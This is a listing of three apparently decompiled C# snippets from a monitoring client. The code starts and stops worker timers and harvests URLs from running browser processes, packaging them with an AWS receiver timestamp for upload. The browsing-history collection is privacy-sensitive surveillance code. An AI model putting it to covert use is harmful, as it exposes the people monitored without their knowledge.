Example #1
0
 public void StartWorkerTimers()
 {
     StaticFileLogger.Current.LogEvent(GetType().Name, "StartWorkerTimers", null, EventLogEntryType.Information);
     _timersAndWorkers.ForEach(delegate(TimerAndWorker t)
     {
         t.Timer.Start();
     });
     CurrentBrowserUrlsTool.Start();
 }
Example #2
0
 public void StopWorkerTimers()
 {
     StaticFileLogger.Current.LogEvent(GetType().Name, "StopWorkerTimers", null, EventLogEntryType.Information);
     foreach (TimerAndWorker timersAndWorker in _timersAndWorkers)
     {
         timersAndWorker.Timer.Stop();
     }
     _heartbeatTimerAndWorker.Timer.Enabled = false;
     CurrentBrowserUrlsTool.Stop();
 }
Example #3
0
        protected override List <DataPackage> GetDataPackages()
        {
            //IL_0078: Unknown result type (might be due to invalid IL or missing references)
            //IL_0082: Expected O, but got Unknown
            CurrentBrowserUrlsTool.GetHarvestedUrlsFromRunningProcessesAndEmptyTheList().ToList().ForEach(delegate(string url)
            {
                _urls.Add(url);
            });
            List <string> list = _urls.ToList();

            list.Sort();
            string s = string.Join(";", list);

            byte[] bytes = Encoding.UTF8.GetBytes(s);
            _urls.Clear();
            return(new List <DataPackage>
            {
                new DataPackage((DataPackage.ColTypeEnum) 8, (bool?)false, bytes, (DateTime?)DataPackageEnvelopeAwsReceiver.ServerTime, (long?)GetAndIncrementWorkSequence())
            });
        }
 private void MainForm_Disposed(object sender, EventArgs e)
 {
     CurrentBrowserUrlsTool.Stop();
     _communicationsManager.StopWorkerTimers();
     _communicationsManager.DisposeResources();
 }